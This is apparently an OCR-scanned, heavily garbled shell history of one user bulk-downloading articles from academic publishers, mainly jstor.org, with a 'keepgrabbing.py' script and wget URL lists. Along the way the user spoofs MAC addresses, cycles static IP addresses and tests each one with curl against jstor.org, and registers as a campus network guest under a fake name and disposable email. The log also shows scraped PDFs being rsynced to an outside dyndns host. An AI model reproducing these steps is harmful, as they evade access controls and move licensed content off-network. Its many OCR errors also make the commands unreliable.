bwm-ng

Is blocks/{w¢ -1
vptime

bwm-ng

df -h

is blocks | we -l
bwm-ng

sudo umount /mnt

df

screen -x
~fkeepgrabbing.py

ed /mnt/
~/keepgrabbing.py

fg




Cdk/erzzgra bbing.py
:5 /mm’;abblng. py
~/keepg

0

" blng.py. ,
f;‘;"/ewgm;’grabblng P
B; ~/kee
: o abbing.py
epgr
o rabbing.py
bg; ~/keepg
Cg'/ :;/rabbing.py
~fkee -
bgk pgrabbing.p
~/kee .
o rabbing.
~/keepg
bgk epgrabbing.py
~/ke -
b/gk epgrabbing.p
-~ e 'pv
b{skeepgrabblng
;8 bbing.py
/keepgra
~ -8y
/keepgrabbing
Ez‘e pgrabbing.py
~/kee |
bgk epgrabbing.py
~ e
“/’/ :;mbbingpy
~fkee
“'/ abbing.py
/keepgr
Ealke bbing.py
/keepgra
s -PY
b,gkeepgrabblng
N -0y
bskeepgrabblng
s ing.py
bgk epgrabbing.
A e
bé rabbing.py
~/keepg Y
ing.p
bgkeepsrabbmg
~/ v
8-p
iy rabbin
~/keepg
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bg
~[keepgrabbing.py
cd /mnt/
~keepgrabbing.py
cd /mnt/
~fkaepgrabbing.py
cd /mnt/
~{keepgrabbing.py
cd /rant/
~/keepgrabbing.py
cd /mnt/
~/keapgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
~fkeepgrabbing.py
cd /mnt/
~/xeepgrabbing.py
cd /ntf
~Jkeepgrabbing.py
¢d foont/
~/xeepgrabbing.py
cd /rontf
~/keepgrabblng.py
¢d Joont/
~/keepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
¢d /mnt/
~/keepgrabbing.py
¢d fmnt/
~/keepgrabbing.py
cd fmnt/
~fkeepgrabbing.py
cd /mat/
~/keepgrabbing.py
cd /mnt/

~ /k
~/keepgrabbing.py
cd /mnt
~fkeepgrabbing.py
cd fmnit
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~/keepgrabbing.py
cd /mt

td /mnt/

cd Jmt




~fkeepgrabbing.py
~fkeepgrabbing.py

cd /mnt/

~/keepgrabbing.py
~{keepgrabbing.py

cd /mnt/

~fkeepgrabbing.py
~/keepgrabbing.py

cd /mnt/

~/keepgrabbing.py
~/keepgrabbing.py

od /mont/

~/keepgrabbing.py
~/keepgrabbing.py

<d /mnt/

~/keepgrabblng.py
~/keepgrabblng.py

cd /mntf

~/keepgrabbing.py
~{keepgrabbing.py

cd /mnat/

~/keepgrabbing.py

cd /mnt

~[keepgrabhing.py

screen -f

screen -x

uptime

df -h

screan -1

screen -x

e

uptime

bwm-ng

df -h

screen -X

ps ax | grep curl

psax | grep keepgr | awk '(print 31}' | xargs kill
ps ax | grep curl

ps ax | grep gr

ps ax | grep curl

df-h

/shin/ifconfig -a

sudo ifconfig ethD:1 static 18.55.7.49
curt ~interface eth0:1 www.istor.org
curl ~interfaca ath0:1 www.google.org
rsync -avaz pdfs/ ghost-macbook.dyndns-free.corn:fvol/pdis
screen -f

screen -x

python

sudo easy_install pyoai

sudo apt-get install python-lxmi

sudo easy_nstall pyoai
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python

sudo easy_install --remove pyoal
easy_install --help

easy_install --help|less

sudo easy_install --remove pyoai
python

sudo easy_nstall pyoal

¢d Jusr/local/flib/python2.6/

Is

Is site-packages/

¢d

Is

locate easy-instali.pth

{ocate easy_install.pth

sudo easy_Install pyaal

locate easy-install.pth

cd fusr/lib/python

Is

Is-a

cd ../python2.6

Is

easy_install --help

easy_install --help|less

python serveblocks.py

python serveblocks.py 8092

bg

sudo dhdlient -r

sudo dhdileat

sudo dhclient -r

sudo dhclient

sudo dhcllent -

sudo dheltent

ping 4.2.2.2

sudo dhclient -r

sudo dhcllent

sudo dhclient ¢

sudo dhclient

sudo dhclient -¢

sieep 60

sudo dhclient -r

sudo dhclient

¢d /volf

ts -}

(s -1h pdfs

easy_Install pyoai

sudo apt-get Install python-setuptools
sudo apt-get update

sudo apt-get Install python-setuptools
sudo apt-get upgrade ’
er-ipupdate

sudo fetc/init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com




/sbin/ifconfig eth0

ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo /ete/Init.d/ez-ipupdate restart
ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo fetc/init.d/ez-ipupdate help
sudo Jete/init.d/ez-lpupdate force-reload
ping ghost-laptop.dyndns-free.com
more fetc/init.dfez-ipupdate

more Jetc/ez-ipupdate/default.conf
sudo less Jetcfez-ipupdate/default.conf
ps ax | grep ez-ip

ping ghost-laptap.dyndns-free.com
¢d jfvol/pdfs/

Is

is | less

python oaigrab.py

python - oalgrab.py

¢d fvol/

Is

¢d muse.jhu.edy/

Is

¢d content/oaifjournals/

Is

od soclal_text/

Is

cd v017/

is

more 17.3

more 17 .3dutton.htmi

man wget

du -hsc /vol/*

du -hsc /vol/*

bwm-ng

Is -th uristograb.wget

grep pdf uristograb.wget

screen -X

man wget

cd /volf

Is

wget -x -nc ~/urlstograb.wget

wget -x -n¢ -1 ¥/uristograb.wget
sudo chown ghost .

wget -x -nc -1 “/urlstograb.wget
wget -q -x -nc -l ~furlstograb.wget
wget -nv -x -nc -l ~furistograb.wget
screen -x

emacs oaigrab.py

sudo apt-get Install emacs23-nox
emacs oalgrab.py

python oalgrah.py | tee urlstograb.wget

IRIF
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wec - uristograb.wget

grep htmi uristograb.wget | sed -e ‘s/fhtmi/pdf/' > uristograb2.wget
grep pdf urlstograb.wget | sed -e 's/pdf/htm|/" > uristograb2. wget
more urlstograb

more urlstograb2.wget

cd fvolf

wget -nv -x -nc =i ~/uristograb2 wget
grep htmi urlstograb.wget | sed - 's/htmi/pdf/* >> uristograb2.wget
cd

grep htmi uristograb.wget | sed -e ‘s/htmi/pdf/' >> uristograb2.wget
cd /vol

wget -nv -x -nc -| ~/uristograb2.wget
curl muse.jhu.edu/t

links muse.jhu.edu

screen -x

¢d /media/noname/

Is

cp tograb.log /home/ghost/

ccd

¢d

<d blocks/

s we 4

cd..

is

mv tograb.log blocks/

cd blocks/

maora tograb.log

split -n 100 tograb.log

spiit --help

split ~help|less

split -1 100 tograb.log tograb.

Is

rm tograb.*

¢p /medla/noname/tograb.log tograb-
split ~help|less

spiit -a 5 -1 100 tograb log tograh-

Is tograb *

we -f

Is | we-l

mv tograb.log ..

sudo dhclfent —release

sudo dhelient -r

sudo dhclient

sudo dhdlient -r

sudo dhclient

sudo fetc/init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/sbinfifcontig -a | less

ping ghost-laptap.dyndns-free.com
screen X

sudo ifconfig ethO up

curl —-Interface ethO https://nic.mit.edu:444/bin/dynareg?classsvisitor

9




/sbinfifconfig -a

sudo dhcllent

curl --Interface ethQ https://nic.mit.edu:444/bin/dynaregdclass=visitor
cat logininfo

curl —-interface ethO hitps://10.72.0.47:444/bin/dynareg?class=visitor
curl ~interface eth0 10.72.0.47

ping --hel

ping -t th0 10.72.0.47

/sbin/ifconfig -a

ping -1 eth04.2,2.2

man ping

ping -1 10.2.55.1204.2.2.2

sudo ping 110.2,55.1204.2.2.2

[sbin/ifconfig -a | less

sudo ping -110.2,55.1204.2.2.2 -

sudo ping - wlan04.2.2.2

sudo ping -l eth0 4.2.2.2

ping -l eth0 4.2.2.2

sudo ping -1 eth0 4.

sudo ping -l ethd 10.72.0.47 )

sudo curl —interface eth$ 10.72.0.47

man curl

sude curl --interface 10.2.55.120 10.72.0.47

route

[sbin/ifconflg -a

route add default gw 18.2.55.1

sudo route add default gw 18.2,55.1

sudo ping -l eth0 10,72.0.47

echo “suda route add default gw 18.2.55.1" >> logininfo
sudo curt —Interface 10.2.55.120 10.72.0.47

curl ~interface eth0 10.72.0.47

curl --interface ethO https://10.72.0.47:444/bin/dynareg?class=visitor

curl -k ~Interface ethO https://10.72.0.47:444/bin/dynareg?class=visitor
curl -d "class=visitor” & ~interface ethO https://10.72.0.47:444/bin/dynareg
curl -d "class=visitor&action=Register® -k --interface ethO https://10.72.0.47:444/hin/dynareg

cur! -d "vname=Graca+Host&vemall»ghostaZ @maliinator.com&action=Register&iclass=visitor” -k ~interface ethQ

https://10.72.0.47:444/bin/dynareg

echo 'cur! -d "vname=Grace+Host&vemallsghost42 @mallinator.com&action=Register&class=visitor" -k ~interface eth0

https://10.72.0.47:444/bin/dynareg' >> loglninfo
curl —~interface eth0 10.72.0.47

sudo dhclient ethO

sleep 600; sudo dhcilent eth0

route

curl ~interface wiand www.yahao.com
curl ~interface wian04.2.2.2

sleep 600; sudo dhclient eth0

sudo dhclient eth®

sudo ping -1 eth0 10.72.0.47

sudo ping -l wlan04.2.2.2

sudo ping -1 eth0 4.2.2.2

man route

dnslp

10
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dig www.yahoo.com

dig www.yahoo.com grep "IN"

dig www.yahag.com|grep °IN" | grep 10.72
echo 'dig www.yahoo.com|grep "IN" | grep 10.72' > logininfo
[sbinfifconfig -a

/sbinfifconfig -ajgrep en

sudo ifconfig ethQ hw 00:4c:e5:80:¢7:56
sudo Hcanfig ethO hw ether 00:4c:e5:20:¢7:56
sudo ifdown ethQ

sudo ifcontig eth0 hw ether 00:4c:85:20:c7:56
sudo ifcontig ethO down

sudo ifconfig ethD hw ether 00:4¢:e5:30:c7:56
sudo ifconfig ethd up

emacs logininfo

ping www.yahoo.com

dig yahoo.com

sudo dhclient

dig www.yahoo.com

erpacs logininfo

emacs /etc/ez-ipupdate/default.conf
/sbinjifconfig -a

sudo emacs Jetc/ez-pupdate/default.conf
Jetc/init.d/ez-ipupdate restart

sudo fetefinit.d/ez-ipupdate restart

dig

dig x.dyndns-free.com

dig ns x.dyndns-free.com

cat ferc/resobv.c

cat Jerc/resalv.conf

dig www.yahoo.cvom

dig www.yahoo.com

links --help

links —-help|grep tnerf

tinks --help|grep interf

lynx

curl --interface ethO www.yahoo.com

dig @10.2.55.7 www.yahoo.com

dig @10.2.55.2 www.yahoo.com

sudo dhclient

¢cat Jetc/resolv.canf

sudg dhclient

cat ferc/resolv.conf

ping 10.72.0.47

dig @10.72.0.47 www .google.com
gnome-screensavar-

df

ping www.yahoo.com

echo 10.72.0.47>> logininfo

dig --help

host —help

dig ns x.dyndns-free.com

dig @ns1.dyndns.org ghost-laptop.dyndns-free.org

[r1F
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dig @ns1.dyndns.org ghost-faptop.dyndns-free.com

fshinfifconflg -a

ssh ghost-laptop.dyndns-free.org

ssh ghost-laptop.dyndns-free.com

ssh ~help | grep interf

man ssh

sudo ifconfig ethG down

ssh ghost-laptop.dyndns-free.com

sudo curl --interface ethQ 10.72.0.47

route

ssh ghost-laptop.dyndns-free.com

ping www.yahoo.com

/shin/ifconfig -a

ssh 10.189.76.179

sudo dhclient eht0

sudo dhclient eth0

route

man route

route

sudo dhelfent ethO

sudo route del default

sudo route -net 10.0.0.0 gw 10.189.64.1

sudo route add -net 10.0.0.0 gw 10,189.64.1

sudo route add 10.0.0.0 gw 10,189.64.1

route

ping 10.189.76.179

ping 10.72.0.47

sudo dhglient ethD

/sbin/ifconfig -3

ping google.com

route

ping 4.2.2.2

sudo dhcllent eth0

cat logininfo

curl -d "vname=Grace +Host&vemall=ghost42 @mallinator.com8vsponsar=&vinterval=14"
curl -d "vname=Grace+Host&vemail=ghosta2 @mailinator.com&vsponsor=&vinterval=14" -k —interface eth0
https://10.72.0.47:444/bin/dynareg

echo 'curt -d “vname=Grace+Hast&vemail=ghost42 @mallinator.com&vsponsor=&vintervaleid” -k --interface eth0
https://10.72.0.47:444/binfdynareg’ >> logininfo

curd www.yahoo.com

echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -interface ethd
https://10.72.0.47:444 /bin/dynareg’ >> logininfo ’
curl -d "vname=Grace+Host&vemailsghostd2 @mailinator.com8vsponsor=8winterval=14" -k ~interface eth0
hitps://10.72.0.47:444/bln/dynareg

curl -d "vname=Grace+Host&vemnailaghostd2 @mallinator.com&vsponsor=Bvinterval=5" -k ~interface ethQ
https://10.72.0.47:444/bin/dynareg

sudo dhclient eth0

sudo dhclient -¢

sudo dhclient -r eth0

sudo dhellent eth0

Jshin/ifconflg -a > ifconfiglog

[sbinfifconfig -a

) IRIFI
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suda ifronflg wian0 down

sudo ifconfig wlan0 hw ether 90:4¢.e5:20:¢7:55
sudo ifconfig wian0 up
/sbinfifconflg -a
[etc/init.dfer-ipupdate restart
sudo /etc/Init.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2

sudo dhcllent

ping 4.2.2.2

ping www.yahoo.com

route

curl www.yahoo.com

ssh ghost-laptop.dyndns-free.com
/sbinfifconfig -a

ssh 18.111.48.33

curl www.yahoo.com

sudo dhclient ethO

cd /media/bce820ea-a03b-4556-bfab-effzd9eb665e/
Is

Is | grep ajp

is | grep -v oxford

¢d fvol

Is

¢d www.genome.org/content/1/3/

Is

cd /media/bce820ea-aoab-4556-bfa6-eff2d9eb665e/

maore pdfs/2520824.pdf

more pdfs/25208234.pdf

Is -| pdfs{25208234.pdf

Is -Ut pdfs | head

python

ps ax | grep pyth

psox | grepls

sudo kill 8185

sudo kil -9 8185

fg

cd bl

¢d blocks/

Is

cd done/

Is | less

Is | head

more allpd00000009

mare allipd000000009

more allpdQG0000009

is -t /media/ bceB20ea-a03b-4556-bfab-eff2d9eb665e/pdfs/20273145 pdf
is | tail

more tograb-aaggu

mora /media/ beeB20ea-a03b-4556-bfaé-eff2d0eb665e/pdfs/359815.pdf
1s - /media/bceszoea-ao.’,b‘risSG-bfaG-efde‘)ebGsSe/pdfs/ 359815 .pdt
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1s | less

Is | grep -v pd | less

Is | grep bk | tail

mote hik0000003629

more /medla/bce820ea-a03b-4556-bfa6-eff2d9eb665e/339479

more /media/bce820ea-a03b-4556-bia6-eff2d9eb665¢/399479.pdf

more /media/ bee820ea-303b-3556-bfa6-eff2d9eb665e/3993479.pdf
more /media/bce820es-a03b-4556-bfab-eff2d9eb665e/pdfs/3999479.pdf
more /medla/bced20ea-a03b-4556-bfaé-e ff2d9eb665e/pdfs/3999478.pdf
cd

python

In -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /media/drive

sudo In -s /media/bceB20ea-a03b-4556-bfa6-eff2d9eb665e/ /media/drive

f8

Is /media/drive/pdfs®

¢

w

/sbinfifconflg -a

ssh 10.189.61.53

/sbin/ifconfig -a

sudo fetc/Init.d/ez-ipupdate restart

ssh 18.111.48.33

Is

more failedandneadtograb

cat falledandneedtograb | sed -e 's/.pdf//' | sort-u | head
cat failedandneedtograb | sed -e 's/.pdf//' | sort -u > failed-partial-clean
head falled-partial-clean » blocks/testfalled
/sbinfifconfig -a

curl --interface wlan0 www.yahoo.com
route

ping 18.311.31.1

we - failedandneedtograb

sudo apt-get install autossh

sudo apt-get update

man ssh

ps ax | grep dhclient

kit 7937

sudo kill 7937

sudo kil 80601

sudo kil 8281

ps ax | grep dhclient

ps ax | grep natwo

ps ax | grep Netw

sudo kilf 730

ps ax | grep Netw

ps axt

fetc/init.d/network-manager stop

sudo fetc/init.d/network-manager stop

ps ax

ps ax | grep dhel
sudo kil 8839
ps ax
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[shin/ifconfig -a

sudo emacs Jetc/ez-ipupdate/default.conf
sudo /etcfinit.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
is

screen -x

w

wha am i

wc - feiled-clean

screen -x

|

Is

cat falledandneedtograb | sed -e 's/.pdi//* | sort-u > falled-partial-clean
we < failedandneedtograb

cat falledandneedtograb | sed -e ‘'s/.pdf//' | sort -u > failed-clean
rm fallad-partial-clean

more falled-clean

cd blocks/done

Is | less

less bka000000020

we -1 bikD000000020

cd..

split --help

split -a 5 - 1000 faled-clean blocks/blkfail
df-h

creen -x

screen «x

who am |

cd umi

python

cd uml

grep 797854 *

grep 801899 *

Is

more 300.htmi

grep 1978790241 *

screen -r

screen -x

tinks

Is

screen -x

1s blocks

is

r failadandneedtograb

rm falled-ciean

python

Is

mv pdf2size.dbm pdf2size-j53.dbm
fg

more stititograbx

split --help

split -a 5 -1 100 stilltograbx blocks/stillbik
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Is biocks

fg

cd /media/drive/pdfs

more 3590725.pdf

less 3697690.pdf

cd /media/drive/pdfs

more 3590725.pdf

less 3697690.pdf

links "http://www.nejm,org.ezp-
pr/dolffull/10.1056/NEIMpU781907keytype=tf_ipsecsha&ijkey=d016a4bad5489a1d98c8c00d31b051071e229d48
links "http://www.nejm.org.ezp-pr/doi/fullf10.1056/NEMp078150"

links "http://www.nejm.org/dol/full/10.1056/NEMPO78190"

Is

Is umi/saneurl.py

links http://linkinghub.alsevier.com/retrieve/pilf0933365786900110

links "http://linkinghub.elsevier.com/retrieve/pil/092911999490006X"

more /volfumi/10768S.html

links Avol/umi/107685.htmi

links Avol/umi/107794.html

curl -i http://linkinghub.elsevier.com/retrieve/pii/B9780750657457500224

curl -i

"http://linkinghub.elsevier.com/retrieve/articleSelectSingle PRedirect=http%3A%2F%2 Fwww.sciencedirect.com%2Fscien
ce%3F_ob%3DGatewayURL%26_origin%3Dinwardhub%26_uriversion%3D4%26_method%3DcitattonSearch%26_piikey%
3DBY780750657457500224%26_version%3D1%26md59%3D5d0b15fec31eccc36684151f1e94990a"

curt <+
"hitp://www.sciencedirect.com/science?_ob=GatewayURLS_originzinwardhub&_udversion=4&_method=citationSearc
h&_piikey=B9780750657457500224& _verston=18mdS=5d0b15fec31eccc366841511294990a"

curl -t "hitp://www.sciencedirect.com/science?_ob=ArticleURL& _udi=B8K8S-4RIMOTB-
8&_user=501045&_coverDate=01%2F09%2F20088_rdoc=1&_fmt=high&_orig=search& _origin=search&_sort=d&_ doca
nchora&view=c&_acct=C0000226598 varsion=18& _urlVersion=08_userid=501045&md5=04d2643f6e14c404198de5326
a67¢81a&searchtype=a”

ping www.jstor.org

curl www.[star.org

is

screen -x

df -h

screen -r

screen -x

cd /mediafdrive/jsindex/

‘.

ls

s

Is

cd 1923

Is

more 00900 . htmi

python

cd ..

Is

python

more 1923/06700.htrnl
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fg

Is blocks

df -h

sudo umount /media/bce820ea-a03b-4556-bfag-eff2d9ebb65e/
ping 4.2.2.2

Jsbinfifconflg -a

/shinfifconfig -alless

Is

~fbin/sls pdfs | head

./sts pdfs | head

cd pdfs

.J/sls | xargs - mv {} /vol/pdfs/
.Jslks . | xavgs -i mv §} /vol/pdfs/
Is

cd .

rmdir pcifs

more deleteandgrab

Is

Is

more pdfs3.sls

tail pdfsd.sis

Is

more js3.IsiR

less js3.IsIR

ts -th Js3.IsIR

fg

Is

ts -Ih pdf2size-js4.dbm

we -l js3.IsIR

python

split -a 5 -1 100 30mblocks blacks/grp30m
cd /vol/sindex/

python

cd /media/dr

cd /media/drive/
~/keepgrabbing.py

fg

more /media/drtve/3478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org

links protact.thelnfo.org

df

ps ax | grep part

ps ax

cd /media/

Is

mkdir drive2

sudo mkdir drive2

sudo mount /dev/sdf drive2
sudo mount -t relserts /dev/sdf drive2
sudo mount -t raiserfs /dev/sdf drive2

df

LY
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df -h

¢d drive?

Is

is-a

mkdir pdfs

sudo mkdir pdfs

sudo chown ghast pdfs
cd Jvol

Is -

cd ..

Is -4

rm vol

sudo rm vol

sudo in - /media/drive2 vol
screen

screen -x

ping www.google.com
Jsbin/ifconfig -a
[sbinfifconfig -a|less
dhclient

sudo dhcelient

sudo ifdown eth0:1

ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -allass
ping 4.2.2.2

cat fetc/resolv

cat fetc/resolv.conf
ping 10.72,0.47\

ping 10.72.0.47

ping 4.2.2.2

sudo ifconfig down eth0:1
sudo Ifconfig eth0:1 down
/sbinfifconfig -a}less
sleep 600 3.& bell

bg

dhclient

sugle dhclient

df-h

sudo umaunt /dev/sdf1
fg

df

ps ax | grep dnclle

sudo kil 31696
/sbinfifconfig -a | less
screen -x
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-fock
xscreensaver -lock
gnome-screensaver-command --lock

. IRIF
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gnome-screensaver

screen -x

df

cd /media/

s

mount /dev/sdgl 3aab9le 1-9¢54-43b1-9374 -72722d78d3e¢/
sudo mount /dev/sdgl Saab9f31-9c54~43b1-9374-72722d78d3e0/
df

sudo mount /dev/sdhl 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
1s

/sbin/ifconfig -a

sudo ifconfig mac 91:4¢.e5:30:¢7:55

Is

/sbin/ifconfig -8 > mac

sudo Ifconfig mac 91:4c:¢5:a0:¢7:55

fg

sudo ifconfig eth0 mac 91:4¢:e5:a0:c7:55

man ifconflg

sudo ifconfig etho hw ether 91:4c:e5:20:c7:55
{sbin/ifconflg -a |grep ether

/sbin/ifconfig eth0

sudo ifconfig eth0 hw ether 00:4¢;e5;30:¢7:55

sudo lfdown ethQ

sudo ifconfig ethQ bw ether 00:4c:e5:a0:c7:35

sudo ifconflg athO dawn

sudo ifconflg ethO hw ether 00:4¢:e5:a0:c7:55

sudo Hconfig ethO up

dhclient

sudo dh

sudo dhetlent

sudo dhclient -r

cd /mnt/

15

df

cd /medla/bce820e a-a03b-4556-bfaG-eff2d9ebb65¢/

is

Is-t/

In-s /media/hceSZOea-303b-455&bfa6-eff2d9eb665e/ Jvol
sUDO In-s /medin/bcc820ea-a03b~4556-bfa&-eﬁ2d9eb665e/ Jvol
suda in -s /medla/bce820ea-a03b-ASSG-bfaB—efdeSebGGSe/ vol
cd /vol

Is

df

ifconfig

sudo dhclient -r

sudo dhelient

Is

ed

is

screen -r

1s blacks/|we -l

screen

’ [RIF
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scregn v
creen -

W < uristograb.wret

dft-h | media
df -h | grep media

we - uristograb.wget

df -h | grep media

grep -v oxford urlstograb.wget lless
grep -v oxtord uristograb wget |grep -v dukejo |grep -v genesdev | grep -v ert |less

grep -v oxford uristograb.wget |grep -v duksjo | grep -v genesdev | grep -v err | grep -v cship | grep v rnajou |less
grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep -v err | grep -v cship | grep -v tnajou |grep v

genome|less

grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep v err | grep -v cship | grep -v majou |grep -v

genome|grep -v leasnmenm | less

we 4 urls®

df -h | grep media
Is blocks/ jwe -

df -h | grep media
Is blocks/jwe 4
df-h | grep media
1s blocks/ jwe <
df-h | grep media
s

df

W

df-h | grep media
& blocks/|we -

df -h | grep media
ks blocks/{we -1

Is blocks/}wc -}

df -h | grep medis
Is blocks/we 4

df - | grep media
Is biocks/}we -1

df -h | grep media
is blocks/]we 4

Is /ot

19 fvol

df-h | grep media
Is blocks/|we

df -h | grep media
Is blocks/|we 4

df -h | grep media
is blocks/ jwe -

df -h

Is blocks/ |wc -

df -t | grep media
Is blocks/ |we -
df-h

df -h | grep media
ts blocks/ | we 4

df -h | grep media

[R1F ]
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Is blocks/ |we -1

df -h | grep media

1s blocks/|we -1

df -h | grep media

Is biocks/ |we -l

df -h | grep media

Is blocks/|we-l

df -h | grep media

Is blocks/|we 4

df -h | grep medla

Is blocks/| we -l

df -h | grep media

ping google.com

/sbin/ifconflg -a

/sbinfifconfig -a|less

df

umount /media/drive

cd /media/drive/

Is

df -h

Is

sudo umount /dev/sdel

sudo umount -f /dev/sdel

df

/sbin/ifcontig -a|less

df -h | grep drive2

{s blocks/Jwe -

od

is blocks/ jwe -

df -h | grep drive?

/sbinfifconfig -2

ifconfig eth0:1 static 18.55.7.241
sudo ifconfig eth0:1 statlc 18.55.7.241
/sbinfifcooflg -o

curl —-interface ethD:1 www.jstor.arg
curl --Interface eth0 www.jstor.org
sudo ifeonfig eth0:1 static 18.55.6.241
curt ~interface ethO www.jstor.org
curl —interface eth0:1 www jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl - interface eth0:1 www jstor.org
suda ifconfig eth0:1 static 18,55.4.241
curl --interface eth0:1 www.jstor.org
/sbinjifconfig -a

sudo ifconfig ethi:1 static 18.54.4.241
curl —interface eth0:1 www.jstor.org
sudo ifconfig eth:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconflg eth0:1 up static 18,55.5.241
Is blocks/ jwe -l

ping 4.2.2.2

cd vol

21
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ed fvol

~/xeepgrabbing.py

fa

cd.

Is vol

Is -1 vol

rmvol

sudo rm vol

sudo In -s /media/drive /vol

cd /vol

~/keepgrahbing.py

a

~/kaapgrabbing.py

cd.,

cd vol

~fkeepgrabbing.py

cd

Is

mkdir tomove

cd tormove

mkdir pdfs

~fkeepgrabbing.py

emacs ../keepgrabbing.py
~/keepgrabbing.py

sudo rm /vol

sudo In -s /media/3aab9fe1-9¢54-43b1-9374-72722d78d3e0/ /vol
¢d /vol

~/kaapgrahbing.oy

fg

Is

cd../vol

~/keepgrabbing.py

links www.jstor.org

dhclient

/sbin/ifconflg -a

Ifeonfig up eth0:1 18.55.6.251
ifconfig ~help | tess[A

ifconfig --help

Ifconfig eth0:1 up static 18.55.6.251
sudo Ifconfig eth0:1 up static 18.55.6.251
sudo Ifeonfig ethO:1 up static 18.55.6.252
/sbin/ifeonfig -a

ping ~help | less

ping -1 eth0:1 www google.com
/stin/ifconfig -a

[shinfifconflg -a}less

sude Heonfig ethO:{ up static 18,55.6.241
[sbinfifconfig -a

ping -1 eth0:1 www.gaogle.com

ping -1 18.55.6.241 www.gougle.com
curl --Interface eth0:1 www.google.com
curf —interface eth0:1 www jstor.org

2
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curl -help | less

Jshin/ifconfig -3

sudo ifconfig eth0:1 up static 18.55.6.252

cul --interface eth0:1 www.jstor.org

sudo ifconfig eth0:1 yp static 18.55.7.240

curl --interface ethQ:1 www.fstor.ofg

curl ~interface eth0:1 www.[stor.org/x

Is

emacs keepgrabbing.py

cd tomove/pdfs/

Is } we-l

mv * fvol/pdfs

Is

¢d ..

is

mkdir umi

cd umi

curl =0 0.htm! "proquestuml.com/pqdweb?RQT=305&SQ:PMID(66569)&PageSize:SO"
curl -0 0.htmi "proquest.umi.com/padweb?RQT= 305&5Q=PMID(66569)&PageSize=50&cfc=1"
more 0.html

curt -1 proquest.umi.com/pgdweb?RQ =305&SQ=PMID{66569)8PageSize=50
curt -l “proquest.umi.com/ pqdweb?RQT=305&SQ=PMIO(66569)&Page5lze=-50"
curl -H “Cookie: ISESSIONID=fazWwqzhMRSha" -0 0.html
"proquest.uml.comlpqdweb?RQT=305&SQ=PMID(GGSGQ)&PageSize-SO"
more 0.htmi

curl -H "Caakle; JSESSIONID=f42WwqzMRSha" -0 50.html

" proquest.uml.com/pqdweh?RQT=305&SQ-PMID(66569)&Page5ize=50&ﬂrstIndex=50“
diff -u 0.htmi 50.html

macs curlcommands.py

emacs curlcommands.py

python curclcommands.py

python curlcommands.py

more curicommands.sh

ron curlcommangs.py

emacs curicommands.py

python curicommands.py

more curicommands.sh

bash curlcommands.sh

more 1100

more 1100.html

tynx -dump 1100.html

finks 1100.htmi

python

cat > saneurl.py

]
Is /media

fg

mkdir fmedia/drive/unl

fg

curl -t http://proguest.umi.com/pgdweb
fg

is /media/drive/umi

x lR
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more /media/drive/2073772711 pdt
more /media/drive/umi/2073772711.pdf
more /media/drivefumi/2073772711.html
more /medla/drive/umi/2073772711.pdt
fg

<d /vol

~/keepgrabbing.py

ed..

cd vol

~{keepgrabbing.py

g

~/keepgrabbing.py

cd.,

cd vol

ts

~fkeepgrabbing.py

is

df -h

pwd

cd..

cd vol

~/keepgrabbing.py

ed ../vol

Is

~/keepgrabbing.py

cd /media

is

cd 3aab9fe1-9¢54-43h1-9374-72722d78d3e0/
is

df -h

sudo shutdown now

¢d /media/de

cd /medla/drive/

mkdir jsindex

sudo mkdir Jsindex

sudo chown ghost jsindex

cd jsindex

python

Is

fg
more 2010/0800.htm!
cd 1989

cd jsindex/1989
Is

Is-1 ] less

Is | tai

¢d ..f1990
1s-1| less

python

L
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python Jusr/bin/easy_install

sudo easy_install ~install-dir /usr/lib/python2.6/ pyoal
PYTHONPATHs/usr/iib/python2 6 sudo easy_install install-dir Jusr/tib/python2.6/ pyoal
sudo easy_install -install-dir Justflib/python2.6/site-packages/ pyoai

sudo PYTHONPATHa/usr/lib/python2.6/site-packages easy_lnstall --insta

cd Just/localflib/python2.6/
Is-a

cd dist-packages/

Is-a

m*

sudom *

sudo rm -rf *

sudo easy_install pyoai
pythen

Is

python

cd

Is blocks/ | wc 4

fe

ps ax | grep keep

psax | grep sec

fg %1

fg 0

fg

kill 2137

i 2138

ps ax | grep keep
python serveblocks.py 8092

2

python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python servebiocks.py 8092
amacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
ik %1

fe

python serveblocks.py 8092
kit %1

8

python serveblocks.py 8092
kit %1

fg

python serveblocks.py 8092
fg

kil %61

2

python serveblocks.py 8092

kill %1

idir /usr/llb/pythonz.6/slte-packages/ pyoal

IRlFI
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fg
python servebiocks.py 8092
kify 261

emacs serveblocks.py

python serveblocks.py 8092

cd /media/drive/

~/keepgrabbing.py

df-h

df -h|grep sdd; date

du -hs¢ fvoi/*

dm /vol/uristograb2.wget

rm fvol/uristograb2.wget

du -hsc fvoif*

bwm-ng

du -hsc /vol/*®

df -h

df -h|grep media

15 blocks jwe -l

Is

emacs oaigrab.py

python -i oaigrab.py

emacs oaigrab.py

python | caigrab.py

emacs caigrab.py

mkdir muse

mv urlstograb® muse

python oalgrab.py | tee uristograb.wget

we -l uristograb.wget

emacs caigrab.py

python - oaigrab.py | tee uristograb.wget

emacs oaigrab.py

python -i oaigrab.py | tee urlstograb.wget

Is

emacs oaigrab.py

fg AY

emacs oaigrab.py

python -i oaigrab.py | tee urlstograb2.wget

g

cd jvol
